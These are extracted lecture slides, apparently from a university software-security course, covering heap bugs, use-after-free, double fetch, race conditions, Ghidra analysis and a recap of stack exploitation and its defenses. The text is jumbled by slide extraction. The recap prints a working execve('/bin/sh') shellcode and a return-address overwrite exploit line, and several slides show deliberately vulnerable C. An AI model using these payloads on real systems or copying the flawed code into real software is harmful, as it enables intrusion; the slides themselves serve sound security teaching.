11/04/2019
11/02/2021 Heap
Heap 19
But what is malloc?
• As Cutler told us it’s this magic place with space given to
us
• Cutler said not to worry about it too much
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 20
Heap Allocation ...
1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)
• Grows towards upper memory
(DOWN on picture) 1024 bytes
Heap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 21
Heap Allocation ...
Heap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 22
Heap Allocation ...
1024 bytes
• We call malloc(1024) ...
Heap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 23
Heap Allocation ...
1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)
1024 bytes
Heap
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 24
Deallocation ...
1024 bytes
• We can free(p) the 4096
• Got this freed block in the middle
• There are many heap implementations 4096 byte
hole (freed)
– Might do this differently
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 25
Deallocation
• buffer = malloc(len);
...
• free(buffer);
vs.
• buffer = malloc(len);
...
• free(buffer);
• buffer = NULL;
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 26
Heap on Wargames
RPISEC - 02/20/2019
11/02/2021 Heap 27
Lessons
• Reuse of heap space
x = malloc(n);
free(x)
y = malloc(n); // likely to reuse space of first malloc
• Partial initialization
– free nulls first 8 bytes but leaves data in rest of buffer
RPISEC - 02/20/2019
11/02/2021 Heap 28
Buffer Overflows
Again
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 29
Buffer Overflows ...
AAAAAAAAAAAAAAAA
• Just like with the stack we may overflow AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
a buffer on the heap, e.g., use gets AAAAAAAAAAAAAAAA
...
4096Overflow
Heap bytes
struct A { 1024 bytes
char name[16];
void (*func)();
} ; 1024 bytes
struct A *p = malloc(sizeof(struct A));
Heap
p->func = ...
gets(p->name);
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 30
Buffer Overflows ...
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
• Just like with stack we may AAAAAAAAAAAAAAAA
overflow a buffer AAAAAAAAAAAAAAAA
...
4096Overflow
Heap bytes
1024 bytes
• Unfortunately, there is no return
address
1024 bytes
RPISEC - 02/20/2019
11/02/2021 Heap 32
Use-After-Free (UAF)
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 33
UAF
• These are everywhere
• Probably some of the most common type of bug today
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 34
UAF
• A bug where memory is accessed via a pointer, after it has
been freed
• A dangling pointer
x = malloc(n); … free(x); … … x->f …
• A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y = malloc(n)
… use y …
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 35
UAF
• Remember when we were talking about that pesky free
• Well, in some cases people forget to clear the pointer to
the region that was just freed…
• If free too early you might end up with a dangling
pointer
– Code may try to use that pointer after it has been freed
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 36
Doing it Wrong
• Why are dangling pointers so bad?
– Or rather, why do they “work” sometimes
– And they crash other times
RPISEC - 3/13/2019
11/02/2021 Heap 37
Heaps of Fun
RPISEC - 3/13/2019
11/02/2021 Heap 38
Heaps of Fun
• We get a pointer to this block
struct fruit * a;
RPISEC - 3/13/2019
11/02/2021 Heap 39
Heaps of Fun
• When we free(a) the block gets freed up
struct fruit * a;
Apple
Free Free Free Free Free Free
struct fruit* a;
• That's why sometimes it still works
RPISEC - 3/13/2019
11/02/2021 Heap 41
Dangerous Pointers
• Here are multiple objects on the heap
struct fruit* apple = malloc(sizeof(struct fruit))
struct fruit* orange = malloc(sizeof(struct fruit))
fruit* fruit*
apple; orange;
RPISEC - 3/13/2019
11/02/2021 Heap 42
Dangerous Pointers
• What if we free the apple first?
struct fruit* apple = malloc(sizeof(struct fruit))
free(apple);
struct fruit* orange = malloc(sizeof(struct fruit))
Apple
Free Free Free Free Free Free
fruit*
apple;
RPISEC - 3/13/2019
11/02/2021 Heap 43
Dangerous Pointers
• What if we free the apple first?
struct fruit* apple = malloc(sizeof(struct fruit))
free(apple);
struct fruit* orange = malloc(sizeof(struct fruit))
Orange
Orange Free Free Free Free Free
RPISEC - 3/13/2019
11/02/2021 Heap 44
UAF on Wargames
RPISEC - 02/20/2019
11/02/2021 Heap 45
Questions?
RPISEC - 02/20/2019
11/02/2021 Heap 46
Back to Ghidra
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 47
Reversing with Ghidra may
come handy
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 48
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));
int number;
scanf("%u", &number);
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 50
fill_bowl, IR and CFG
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 51
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 52
Program Analysis Basics
• Intermediate Representations
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 53
Def-use Chains
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 54
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 55
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 56
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 57
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 58
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 60
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 61
Ghidra Example
VC Script
RPISEC - 02/27/2019
11/02/2021
Demo
ASLR
Heap 62
Lecture Selanjutnya
More Types of Bugs
1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)
• GROWS DOWN (towards higher
address) 1024 bytes
Heap
1024 bytes
• We can free() the 4096
• Got this freed block in the middle
• If we malloc(4096) we are likely to get 4096 byte
hole (freed)
the same block
1024 bytes
• There are many heap implementations.
Some might do this differently Heap
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
• Just like with stack if we use gets AAAAAAAAAAAAAAAA
there is buffer overflow AAAAAAAAAAAAAAAA
...
• There is no return address 4096Overflow
Heap bytes
1024 bytes
blocks, …) Heap
• A dangling pointer
x = malloc(n); … free(x); … … x->f …
• A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y = malloc(n)
… use y as x or use x as y …
Apple* a;
Apple* a;
Apple
Free Free Free Free Free Free
Apple* a;
Apple* a; Orange* b;
Apple
Free Free Free Free Free Free
Apple* a;
Orange
Orange Free Free Free Free Free
AAAAAAAAAAAAA
AAAAAAAAAAAAA
4096 bytes
AAA(freed)AAA
AAAAAAAAAAAAA
Heap
11/09/2021 Miscellaneous Types of Bugs 21
Uninitialized Memory
... ● We freed a block and now we want to
allocate something in there again
1024 bytes
● We may get the same spot
0x7FFAD320C18
2048 bytes ● Typically, data stays (in this case A’s)
AAAAAAAAAAAAA ● It may leak useful information, e.g., a libc
4096 bytes pointer
AAA(freed)AAA
AAAAAAAAAAAAA
Heap
11/09/2021 Miscellaneous Types of Bugs 22
Uninitialized on Wargames
// prints 4294967295
printf(“Integer value is %u\n”, value);
0x100000000
32bit Integer
11/09/2021 Miscellaneous Types of Bugs 29
Oh no
• When looked at as a 32 bit value it’s now zero …
• Is that the only problem?
• What if we have:
0 - 1 = ???
UINT_MAX=4294967295
LONG_MIN=-922337203685477580
8
11/09/2021 Miscellaneous Types of Bugs 36
Signed Vs. Unsigned
● Integer types can be ‘signed’ or ‘unsigned’
○ int value = 44;
○ unsigned int value = 44;
– 11111111111111111111111110011011
+
1
– 11111111111111111111111110011100
0xFFFFFF9C
• -100
11111111111111111111111110011100
0xFFFFFF9C
A A A A A A A A A A A A
B B B B
Again
1. check(loc)
2. may_modify(loc)
3. use(loc)
if (x != 0) { // Thread A fetches x
// Thread B interrupts, sets x = 0
y = z/x; // Thread A fetches x and it is 0
…
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 2
Race Conditions
Vroom Vroom
(Notes by RPISEC and Ana Milanova)
RPISEC - 04/03/2019
11/16/2021
11/18/2019 Race Conditions 3
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 4
Uninitialized Memory
RPISEC - 04/03/2019
11/16/2021 Race Conditions 5
Uninitialized Memory
struct car {
char* make;
char* model;
void (*drive)();
HE
}; RE
struct car *vroom;
while(1) { car T{
HE
int choice = get_int(); makeR = …
E
switch(choice) { model B = …
case 1: drive E= …
car *vroom = (struct car *) malloc(sizeof(struct car));
DR
} AG
car.[...] = ...
ON
break; S
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
RPISEC - ...
04/03/2019
11/16/2021 Race Conditions 6
Uninitialized Memory
struct car {
char* make;
char* model;
void (*drive)();
HE
}; RE
struct car *vroom;
while(1) { car T{
HE
int choice = get_int(); makeR = …
E
switch(choice) { model B = …
case 1: drive E= …
car *vroom = (struct car *) malloc(sizeof(struct car));
DR
} AG
car.[...] = ...
ON
break; S
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
RPISEC - ...
04/03/2019
11/16/2021 Race Conditions 7
Uninitialized Memory
• Uninitialized memory on the stack?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 8
Dangling Pointer
RPISEC - 04/03/2019
11/16/2021 Race Conditions 9
Dangling Pointer
What happens when we forget to clean up after ourselves?
struct car {
char* make; struct car {
char* make;
char* model; char* model;
void (*drive)(); void (*drive)();
}; };
DA
car *vroom;
NG
struct car *vroom;
while(1) { car {
ER
while(1) { int choice = get_int();
int choice = get_int(); switch(choice) { make = …
DA
case 1: model = …
switch(choice) {
NG
car *vroom = (struct car *)
ER
case 1: malloc(sizeof(struct car)); drive = …
car *vroom = (structcar.[...]
car *) =malloc(sizeof(struct
... car)); }
DA
car.[...] = ... break;
NG
case 2:
ER
break; free(vroom);
case 2: break;
free(vroom); case 3:
vroom->drive();
break;
break;
case 3: ...
vroom->drive();
RPISEC - break;
04/03/2019
11/16/2021 Race Conditions 10
...
Dangling Pointer
What happens when we forget to clean up after ourselves?
struct car {
char* make; struct car {
char* make;
char* model; char* model;
void (*drive)(); void (*drive)();
}; };
DA
car *vroom;
NG
struct car *vroom;
while(1) { car {
ER
while(1) { int choice = get_int();
int choice = get_int(); switch(choice) { make = …
DA
case 1: model = …
switch(choice) {
NG
car *vroom = (struct car *)
ER
case 1: malloc(sizeof(struct car)); drive = …
car *vroom = (structcar.[...]
car *) =malloc(sizeof(struct
... car)); }
DA
car.[...] = ... break;
NG
case 2:
ER
break; free(vroom);
case 2: break;
free(vroom); case 3:
vroom->drive();
break;
break;
case 3: ...
vroom->drive();
RPISEC - break;
04/03/2019
11/16/2021 Race Conditions 11
...
Use After Free
RPISEC - 04/03/2019
11/16/2021 Race Conditions 12
UAFs (Assume: we malloc-ed(car) -> 2 (free) -> 1 (another malloc))
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin); car {
char *vuln = (char *) malloc(strlen(message));
make = …
strcpy(vuln, message, strlen(message));
break;
model = …
case 2: drive = …
free(vroom); }
break;
case 3:
vroom->drive();
break;
...
RPISEC - 04/03/2019
11/16/2021 Race Conditions 13
UAFs
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin); car {
char *vuln = (char *) malloc(strlen(message));
make = 0x4141…
strcpy(vuln, message, strlen(message));
break;
model = 0x4141…
case 2: drive = 0x4141…
free(vroom); }
break;
case 3:
vroom->drive();
break;
...
RPISEC - 04/03/2019
11/16/2021 Race Conditions 14
UAFs
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin);
char *vuln = (char *) malloc(strlen(message));
strcpy(vuln, message, strlen(message));
break;
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
...
RPISEC - 04/03/2019
11/16/2021 Race Conditions 15
Double Fetch
RPISEC - 04/03/2019
11/16/2021 Race Conditions 16
Double Fetch
bar {
name = “Jeff”
name_len = 4
void foo(struct b * bar) }
{
char * buf =
malloc(bar->name_len);
...
...
modifies_bar(bar);
...
memcpy(buf, bar->name, buf
bar->name_len);
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 17
Double Fetch
bar {
name = “AAAAA…”
name_len = 4096
void foo(struct b * bar) }
{
char * buf =
malloc(bar->name_len);
...
...
modifies_bar(bar);
...
memcpy(buf, bar->name, buf
bar->name_len);
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 18
Double Fetch
bar {
name = “AAAAA…”
name_len = 4096
void foo(struct b * bar) }
{
char * buf = AAAAAAAAAAAAAAAAA
malloc(bar->name_len);
...
AAAAAAAAAAAAAAAAA
... AAAAAAAAAAAAAAAAA
modifies_bar(bar); AAAAAAAAAAAAAAAAA
... AAAAAAAAAAAAAAAAA
memcpy(buf, bar->name, AAAAAAAAAAAAAAAAA
bar->name_len);
AAAAAAAAAAAAAAAAA
}
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
RPISEC - 04/03/2019
11/16/2021 Race Conditions 19
Double Fetch
...
if (array.length > 32) { // Time of check
printf("ERROR! Array length is too big (%u > 10)!\n", array.length);
exit(1);
}
...
printf("Debug: Accessing index %u of %s\n", index, getString());
...
if (index >= array.length) { // Time of use
printf("ERROR! Index %u out of range (%lu >= %lu)!\n", index, index,
array.length);
exit(1);
}
...
array.items[index] = value;
...
RPISEC - 04/03/2019
11/16/2021 Race Conditions 20
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 21
pthreads
• High-level library for (POSIX) threads
– Structures and routines for thread
manipulation
– Structures and routines for synchronization
RPISEC - 04/03/2019
11/16/2021 Race Conditions 22
pthreads Thread Management
• Thread creation
r1 = pthread_create(&thread1, NULL, do_work, &thread1_args);
r2 = pthread_create(&thread2, NULL, do_work, &thread2_args);
• Thread join
r3 = pthread_join(thread1, NULL);
r4 = pthread_join(thread2, NULL);
RPISEC - 04/03/2019
11/16/2021 Race Conditions 23
pthreads Example
int main() {
pthread_t thread1, thread2;
int num = 0;
pthread_create( &thread1, NULL, count, (void*) &num ); 1
pthread_create( &thread2, NULL, count, (void*) &num ); 3
// wait for both threads to finish before returning
4
pthread_join( thread1, NULL );
pthread_join( thread2, NULL );
5
return 0; 6
} ...
46
void *count( void *ptr ) { 47
int *num = (int*) ptr;
7
while( *num < 50 ) {
++(*num)
49
printf( "%d\n", *num ); 50
} 50
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 24
Context Switching
• Can we have more threads than CPU
cores?
– Just switch between them really
fast
Core 2
– Time is split between all threads 25
RPISEC - 04/03/2019
11/16/2021 Race Conditions 25
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 26
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 27
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 28
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 29
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 30
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 31
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 32
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 33
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 34
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 35
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
1 while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
RPISEC - 04/03/2019
11/16/2021 Race Conditions 36
mutex
mutual exclusion
• Adds synchronization to protect
shared memory from access by
other threads no u
pthread_mutex_lock(&lock);
shared = 0;
pthread_mutex_unlock(&lock);
RPISEC - 04/03/2019
11/16/2021 Race Conditions 37
mutex
mutual exclusion
• Adds synchronization to protect
shared memory from access by
other threads no u
pthread_mutex_lock(&lock);
++(*num);
pthread_mutex_unlock(&lock);
RPISEC - 04/03/2019
11/16/2021 Race Conditions 38
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 39
Race Conditions
• When multiple threads access a
shared resource, they can “race” for
it
– Adding synchronization (e.g., through a
mutex lock) may prevent certain race
conditions
– But doing so will slow the program down
RPISEC - 04/03/2019
11/16/2021 Race Conditions 40
Data Race
• The data race is the most common type of race
condition
• A data race occurs when two threads access the same
memory location simultaneously, and at least one
access is a write
z = y/x
RPISEC - 04/03/2019
11/16/2021 Race Conditions 41
Data Race
• The data race is a classical case of heisenbug
– A heisenbug is a bug that disappears when an attempt is made to
study it
RPISEC - 04/03/2019
11/16/2021 Race Conditions 42
Data Race
class Account {
int balance = 0;
void deposit(int x) { this.balance = this.balance + x; }
}
class AccountTask implements Runnable {
public void run() { Main.act.deposit(10); }
}
z = y/x
RPISEC - 04/03/2019
11/16/2021 Race Conditions 44
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 45
46
47
48
https://dirtycow.ninja/
49
50
"A race condition was found in the way the Linux kernel's
memory subsystem handled the copy-on-write (COW) breakage of
private read-only memory mappings. An unprivileged local user
could use this flaw to gain write access to otherwise read-only
memory mappings and thus increase their privileges on the
system." (from https://dirtycow.ninja)
...
...
51
52
53
54
55
Therac-25
• One of the most infamous software bugs in history
z = y/x
RPISEC - 04/03/2019
11/16/2021 Race Conditions 56
Datarace on Wargames
RPISEC - 04/03/2019
11/16/2021 Race Conditions 57
Questions?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 58
Concurrency Bugs
• New types of bugs occur in concurrent programs
– Race conditions
– Atomicity violations
– Deadlocks
RPISEC - 04/03/2019
11/16/2021 Race Conditions 59
Atomicity Violation
• Informally, a function/section of code is said to be
atomic if its behavior when executed in “one step” is the
same as its behavior when interrupted by other threads
RPISEC - 04/03/2019
11/16/2021 Race Conditions 61
Is There a Data Race
RPISEC - 04/03/2019
11/16/2021 Race Conditions 62
Is There a Data Race?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 63
Is There a Data Race?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 64
Is There a Data Race?
RPISEC - 04/03/2019
11/16/2021 Race Conditions 65
Lecture Selanjutnya
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
• This week is Thanksgiving week
– Lecture: recap and lessons learned
– Lab: catch-up 8-10, Intro to Project 2
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 2
Happy Thanksgiving!
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 3
Recap and Lessons Learned
RPISEC - 04/03/2019
11/18/2019
11/23/2021 Recap and Lessons 4
Agenda
1. Recap
a. Attack: Memory corruption (of return address)
b. Defense: Stack cookies
c. Attack: Shellcoding
d. Defense: DEP
e. Attack: ROP
f. Defense: ASLR and PIE
g. Miscellaneous bugs: Integers, Uninitialized memory, UAF, Double
fetch
2. Different types of vulnerabilities (bugs)
3. Lessons: What coding practices can help guard against
these vulnerabilities?
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 5
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
libraries
(libc…)
[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 6
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
• User Data
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 7
Overflows 101
• Buffer overflows corrupt memory
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 8
Overflows 101
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 9
Overflows 101
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 10
Overflows 101
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 11
Overflows 201
Lower Memory
Attack: corrupt the 0x4141414141414141 Start of
char foo[64]
return address 0x4141414141414141
0x4141414141414141
Binary: 0x4141414141414141
… gets(foo) … 0x4141414141414141
0x4141414141414141
Exploit:
0x4141414141414141
p.sendline(‘A’*80+
0x4141414141414141 End of foo
p64(0x40051f))
0x4141414141414141 money = ...
Not supposed
0x4141414141414141 Base pointer
to touch!
Higher Memory 0x40051f -> WIN FUNCTION! RETURN ADDRESS
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 12
Stack Cookies (Stack Canaries)
No Cookies Defense: Cookies
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 13
Function Prologue
Stack
Saved RBP
Return Address
RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 14
11/23/2021
Function Prologue
Stack
Saved RBP
Return Address
RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 15
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)
Saved RBP
Return Address
RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 16
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)
Saved RBP
Return Address
RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 17
11/23/2021
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)
Stack Cookie
Saved RBP
Return Address
RPISEC - 04/03/2019
... Recap and Lessons
Local Variables
(main) 18
11/23/2021
Cookie Check
No return
How could we still attack?
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 19
sys_execve
What if there is no win function?
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 20
sys_execve
What if there is no win function?
We recreate system("/bin/sh")!
Set registers:
RAX RDI RSI RDX
syscall
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 21
execv Shellcode
Smallest shellcode (that we know of) xor esi,esi
movabs
1. set registers rbx,0x68732f2f6e69622f
push rsi
2. perform syscall push rb 23
push rsp bytes
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall
p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 22
Shellcode Attack
0x7FFFFFFFED70: 0x31f648bb2f62696e Start of
char foo[64]
0x2f2f73685653545f
address 0x4141414141414141
0x4141414141414141
Binary: 0x4141414141414141
… gets(foo) …
0x4141414141414141
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 23
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
o u t
g e t
e t ’s ’s
L e 9 0
o f t h
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 24
DEP/NX/W^X (This is always on unless you’re running on a potato)
Defense:
Stack/data is mapped No eXecute
aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writeable or executable,
not both
No more shellcode
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 25
Runtime Memory
.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 26
Return Oriented Programming (ROP)
Attack:
• Code reuse
– can’t use our own code
– what if we string together existing code to do what we want, a few
instructions at a time
– these are called gadgets add rax, 0x4
ret
– small bits of code ending in a ret
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 27
Return Oriented Programming (ROP)
printf("Comment?\n"); buffer
RPISEC - 04/03/2019
11/23/2021 Recap and Lessons 28
Return Oriented Programming (ROP)
printf("Comment?\n"); ???
RPISEC - 04/03/2019
